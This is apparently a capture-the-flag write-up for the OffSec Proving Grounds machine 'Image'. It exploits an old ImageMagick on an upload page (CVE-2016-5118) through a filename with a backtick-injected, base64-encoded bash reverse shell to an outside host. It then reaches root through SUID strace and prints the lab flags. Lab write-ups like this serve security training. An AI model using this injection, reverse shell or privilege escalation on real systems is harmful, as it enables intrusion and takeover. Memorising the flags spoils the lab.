

tags: Offsec PG Practice Intermediate Linux # image

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.190.178 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.190.178:22
Open 192.168.190.178:80

PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: ImageMagick Identifier
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` Firstuploadjpgcan get
```

File uploaded successfully.

Version: 6.9.6-4

``` googleget [CVE-2016-5118 \(https://github.com/ImageMagick/ImageMagick/issues/6339\)](https://github.com/ImageMagick/ImageMagick/issues/6339).pip,,base64

```
/bin/sh -i >& /dev/tcp/192.168.45.193/80 0>&1
-> L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5My84MCAwPiYx

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

## rename
cp capoo.jpg |capoo``echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5My84MCAwPiYx | base64 -d |
bash`.jpg
``` wait for reverse shell,`/var/www`get local.txt
```

www-data@image:/var/www\$ cat local.txt

aeb651cfbc99fab5e64c7b54e732383b

``` find binaries,Check [GTFOBins \(https://gtfobins.github.io/gtfobins/strace/#suid\)](https://gtfobins.github.io/gtfobins/strace/#suid),get proof.txt in /root

```
www-data@image:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/strace
...

www-data@image:/tmp$ install -m =xs $(which strace) .
www-data@image:/tmp$ /usr/bin/strace -o /dev/null /bin/sh -p

# whoami
root
# cd /root
# ls
ImageMagick-7.1.0-16  email2.txt  proof.txt  snap
# cat proof.txt
e6a9940b5874cb833ed74c38a6ece442
```